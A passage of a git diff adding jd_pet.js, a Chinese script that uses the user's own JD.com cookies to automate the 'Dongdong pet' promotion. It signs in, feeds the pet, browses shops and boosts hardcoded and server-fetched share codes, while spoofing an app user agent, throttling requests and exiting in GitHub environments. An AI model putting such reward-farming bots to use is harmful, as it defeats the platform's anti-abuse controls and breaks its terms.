\u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_pet.js b/jd_pet.js new file mode 100644 index 0000000..718928c --- /dev/null +++ b/jd_pet.js @@ -0,0 +1,633 @@ +/* +东东萌宠 更新地址: jd_pet.js +更新时间:2021-05-21 +活动入口:京东APP我的-更多工具-东东萌宠 +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助5个人。多出的助力码无效 + +=================================Quantumultx========================= +[task_local] +#东东萌宠 +15 6-18/6 * * * jd_pet.js, tag=东东萌宠, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdmc.png, enabled=true + +=================================Loon=================================== +[Script] +cron "15 6-18/6 * * *" script-path=jd_pet.js,tag=东东萌宠 + +===================================Surge================================ +东东萌宠 = type=cron,cronexp="15 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_pet.js + +====================================小火箭============================= +东东萌宠 = type=cron,script-path=jd_pet.js, cronexpr="15 6-18/6 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('东东萌宠'); +let cookiesArr = [], cookie = '', jdPetShareArr = [], isBox = false, notify, newShareCodes, allMessage = ''; +//助力好友分享码(最多5个,否则后面的助力失败),原因:京东农场每人每天只有四次助力机会 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode + //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==@MTAxODcxOTI2NTAwMDAwMDAxOTQ3MjkzMw==', + //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==@MTE1NDUyMjEwMDAwMDAwNDI0MDM2MDc=@MTAxODc2NTEzMjAwMDAwMDAwNDA5MzAzMw==', +] +let message = '', subTitle = '', option = {}; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let goodsUrl = '', taskInfoKey = []; +let randomCount = $.isNode() ? 20 : 5; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + goodsUrl = ''; + taskInfoKey = []; + option = {}; + await shareCodesFormat(); + await jdPet(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPet() { + try { + //查询jd宠物信息 + const initPetTownRes = await request('initPetTown'); + message = `【京东账号${$.index}】${$.nickName}\n`; + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + // $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`, { "open-url": "openapp.jdmoble://" }); + await slaveHelp();//助力好友 + $.log($.name, '', `【提示】京东账号${$.index}${$.nickName}\n萌宠活动未开启\n请手动去京东APP开启活动\n入口:我的->游戏与互动->查看更多开启`); + return + } + if (!$.petInfo.goodsInfo) { + $.msg($.name, '', `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`, { "open-url": "openapp.jdmoble://" }); + if ($.isNode()) await notify.sendNotify(`${$.name} - ${$.index} - ${$.nickName}`, `【提示】京东账号${$.index}${$.nickName}\n暂未选购新的商品`); + return + } + goodsUrl = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsUrl; + // option['media-url'] = goodsUrl; + // console.log(`初始化萌宠信息完成: ${JSON.stringify(petInfo)}`); + if ($.petInfo.petStatus === 5) { + await slaveHelp();//可以兑换而没有去兑换,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.petInfo.goodsInfo.goodsName}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n${$.petInfo.goodsInfo.goodsName}已可领取`); + } + return + } else if ($.petInfo.petStatus === 6) { + await slaveHelp();//已领取红包,但未领养新的,也能继续助力好友 + option['open-url'] = "openApp.jdMobile://"; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】已领取红包,但未继续领养新的物品\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}奖品已可领取`, `京东账号${$.index} ${$.nickName}\n已领取红包,但未继续领养新的物品`); + } + return + } + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.petInfo.shareCode}\n`); + await taskInit(); + if ($.taskInit.resultCode === '9999' || !$.taskInit.result) { + console.log('初始化任务异常, 请稍后再试'); + return + } + $.taskInfo = $.taskInit.result; + + await petSport();//遛弯 + await slaveHelp();//助力好友 + await masterHelpInit();//获取助力的信息 + await doTask();//做日常任务 + await feedPetsAgain();//再次投食 + await energyCollect();//收集好感度 + await showMsg(); + console.log('全部任务完成, 如果帮助到您可以点下🌟STAR鼓励我一下, 明天见~'); + } else if (initPetTownRes.code === '0'){ + console.log(`初始化萌宠失败: ${initPetTownRes.message}`); + } + } catch (e) { + $.logErr(e) + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} +// 收取所有好感度 +async function energyCollect() { + console.log('开始收取任务奖励好感度'); + let function_id = arguments.callee.name.toString(); + const response = await request(function_id); + // console.log(`收取任务奖励好感度完成:${JSON.stringify(response)}`); + if (response.resultCode === '0') { + message += `【第${response.result.medalNum + 1}块勋章完成进度】${response.result.medalPercent}%,还需收集${response.result.needCollectEnergy}好感\n`; + message += `【已获得勋章】${response.result.medalNum}块,还需收集${response.result.needCollectMedalNum}块即可兑换奖品“${$.petInfo.goodsInfo.goodsName}”\n`; + } +} +//再次投食 +async function feedPetsAgain() { + const response = await request('initPetTown');//再次初始化萌宠 + if (response.code === '0' && response.resultCode === '0' && response.message === 'success') { + $.petInfo = response.result; + let foodAmount = $.petInfo.foodAmount; //剩余狗粮 + if (foodAmount - 100 >= 10) { + for (let i = 0; i < parseInt((foodAmount - 100) / 10); i++) { + const feedPetRes = await request('feedPets'); + console.log(`投食feedPetRes`); + if (feedPetRes.resultCode == 0 && feedPetRes.code == 0) { + console.log('投食成功') + } + } + const response2 = await request('initPetTown'); + $.petInfo = response2.result; + subTitle = $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } else { + console.log("目前剩余狗粮:【" + foodAmount + "】g,不再继续投食,保留部分狗粮用于完成第二天任务"); + subTitle = $.petInfo.goodsInfo && $.petInfo.goodsInfo.goodsName; + // message += `【与爱宠相识】${$.petInfo.meetDays}天\n`; + // message += `【剩余狗粮】${$.petInfo.foodAmount}g\n`; + } + } else { + console.log(`初始化萌宠失败: ${JSON.stringify($.petInfo)}`); + } +} + + +async function doTask() { + const { signInit, threeMealInit, firstFeedInit, feedReachInit, inviteFriendsInit, browseShopsInit, taskList } = $.taskInfo; + for (let item of taskList) { + if ($.taskInfo[item].finished) { + console.log(`任务 ${item} 已完成`) + } + } + //每日签到 + if (signInit && !signInit.finished) { + await signInitFun(); + } + // 首次喂食 + if (firstFeedInit && !firstFeedInit.finished) { + await firstFeedInitFun(); + } + // 三餐 + if (threeMealInit && !threeMealInit.finished) { + if (threeMealInit.timeRange === -1) { + console.log(`未到三餐时间`); + } else { + await threeMealInitFun(); + } + } + if (browseShopsInit && !browseShopsInit.finished) { + await browseShopsInitFun(); + } + let browseSingleShopInitList = []; + taskList.map((item) => { + if (item.indexOf('browseSingleShopInit') > -1) { + browseSingleShopInitList.push(item); + } + }); + // 去逛逛好货会场 + for (let item of browseSingleShopInitList) { + const browseSingleShopInitTask = $.taskInfo[item]; + if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) { + await browseSingleShopInit(browseSingleShopInitTask); + } + } + if (inviteFriendsInit && !inviteFriendsInit.finished) { + await inviteFriendsInitFun(); + } + // 投食10次 + if (feedReachInit && !feedReachInit.finished) { + await feedReachInitFun(); + } +} +// 好友助力信息 +async function masterHelpInit() { + let res = await request(arguments.callee.name.toString()); + // console.log(`助力信息: ${JSON.stringify(res)}`); + if (res.code === '0' && res.resultCode === '0') { + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) { + if(!res.result.addedBonusFlag) { + console.log("开始领取额外奖励"); + let getHelpAddedBonusResult = await request('getHelpAddedBonus'); + if (getHelpAddedBonusResult.resultCode === '0') { + message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`; + } + console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`); + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已领取\n`; + } + } else { + console.log("助力好友未达到5个") + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) { + console.log('帮您助力的好友的名单开始') + let str = ''; + res.result.masterHelpPeoples.map((item, index) => { + if (index === (res.result.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + }) + message += `【助力您的好友】${str}\n`; + } + } +} +/** + * 助力好友, 暂时支持一个好友, 需要拿到shareCode + * shareCode为你要助力的好友的 + * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人 + */ +async function slaveHelp() { + //$.log(`\n因1.6日好友助力功能下线。故暂时屏蔽\n`) + //return + let helpPeoples = ''; + for (let code of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${code}`); + if (!code) continue; + let response = await request(arguments.callee.name.toString(), {'shareCode': code}); + if (response.code === '0' && response.resultCode === '0') { + if (response.result.helpStatus === 0) { + console.log('已给好友: 【' + response.result.masterNickName + '】助力成功'); + helpPeoples += response.result.masterNickName + ','; + } else if (response.result.helpStatus === 1) { + // 您今日已无助力机会 + console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`); + break; + } else if (response.result.helpStatus === 2) { + //该好友已满5人助力,无需您再次助力 + console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`); + } else { + console.log(`助力其他情况:${JSON.stringify(response)}`); + } + } else { + console.log(`助力好友结果: ${response.message}`); + } + } + if (helpPeoples && helpPeoples.length > 0) { + message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`; + } +} +// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗 +async function petSport() { + console.log('开始遛弯'); + let times = 1 + const code = 0 + let resultCode = 0 + do { + let response = await request(arguments.callee.name.toString()) + console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`); + resultCode = response.resultCode; + if (resultCode == 0) { + let sportRevardResult = await request('getSportReward'); + console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`); + } + times++; + } while (resultCode == 0 && code == 0) + if (times > 1) { + // message += '【十次遛狗】已完成\n'; + } +} +// 初始化任务, 可查询任务完成情况 +async function taskInit() { + console.log('开始任务初始化'); + $.taskInit = await request(arguments.callee.name.toString(), {"version":1}); +} +// 每日签到, 每天一次 +async function signInitFun() { + console.log('准备每日签到'); + const response = await request("getSignReward"); + console.log(`每日签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`); + // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`; + } else { + console.log(`【每日签到】${response.message}\n`); + // message += `【每日签到】${response.message}\n`; + } +} + +// 三餐签到, 每天三段签到时间 +async function threeMealInitFun() { + console.log('准备三餐签到'); + const response = await request("getThreeMealReward"); + console.log(`三餐签到结果: ${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`); + // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`; + } else { + console.log(`【定时领狗粮】${response.message}\n`); + // message += `【定时领狗粮】${response.message}\n`; + } +} + +// 浏览指定店铺 任务 +async function browseSingleShopInit(item) { + console.log(`开始做 ${item.title} 任务, ${item.desc}`); + const body = {"index": item['index'], "version":1, "type":1}; + const body2 = {"index": item['index'], "version":1, "type":2}; + const response = await request("getSingleShopReward", body); + // console.log(`点击进去response::${JSON.stringify(response)}`); + if (response.code === '0' && response.resultCode === '0') { + const response2 = await request("getSingleShopReward", body2); + // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`); + if (response2.code === '0' && response2.resultCode === '0') { + console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`); + // message += `【浏览指定店铺】获取${response2.result.reward}g\n`; + } + } +} + +// 浏览店铺任务, 任务可能为多个? 目前只有一个 +async function browseShopsInitFun() { + console.log('开始浏览店铺任务'); + let times = 0; + let resultCode = 0; + let code = 0; + do { + let response = await request("getBrowseShopsReward"); + console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`); + code = response.code; + resultCode = response.resultCode; + times++; + } while (resultCode == 0 && code == 0 && times < 5) + console.log('浏览店铺任务结束'); +} +// 首次投食 任务 +function firstFeedInitFun() { + console.log('首次投食任务合并到10次喂食任务中\n'); +} + +// 邀请新用户 +async function inviteFriendsInitFun() { + console.log('邀请新用户功能未实现'); + if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) { + // 如果有邀请过新用户,自动领取60gg奖励 + const res = await request('getInviteFriendsReward'); + if (res.code == 0 && res.resultCode == 0) { + console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`); + message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`; + } + } +} + +/** + * 投食10次 任务 + */ +async function feedReachInitFun() { + console.log('投食任务开始...'); + let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次 + let needFeedTimes = 10 - finishedTimes; //还需要几次 + let tryTimes = 20; //尝试次数 + do { + console.log(`还需要投食${needFeedTimes}次`); + const response = await request('feedPets'); + console.log(`本次投食结果: ${JSON.stringify(response)}`); + if (response.resultCode == 0 && response.code == 0) { + needFeedTimes--; + } + if (response.resultCode == 3003 && response.code == 0) { + console.log('剩余狗粮不足, 投食结束'); + needFeedTimes = 0; + } + tryTimes--; + } while (needFeedTimes > 0 && tryTimes > 0) + console.log('投食任务结束...\n'); +} +async function showMsg() { + if ($.isNode() && process.env.PET_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdPetNotify')) { + $.ctrTemp = $.getdata('jdPetNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false'; + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/pet/query/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + //因好友助力功能下线。故暂时屏蔽 + const readShareCodeRes = await readShareCode(); + //const readShareCodeRes = null; + if (readShareCodeRes && readShareCodeRes.code === 200) { + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取东东萌宠配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPetShareCodes = $.isNode() ? require('./jdPetShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPetShareCodes).forEach((item) => { + if (jdPetShareCodes[item]) { + $.shareCodesArr.push(jdPetShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_pet_inviter')) $.shareCodesArr = $.getdata('jd_pet_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_pet_inviter') ? $.getdata('jd_pet_inviter') : '暂无'}\n`); + } + // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`) + // console.log(`jdPetShareArr账号长度::${$.shareCodesArr.length}`) + console.log(`您提供了${$.shareCodesArr.length}个账号的东东萌宠助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 请求 +async function request(function_id, body = {}) { + await $.wait(3000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data) + } + }) + }) +} +// function taskUrl(function_id, body = {}) { +// return { +// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`, +// headers: { +// Cookie: cookie, +// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), +// } +// }; +// } +function taskUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 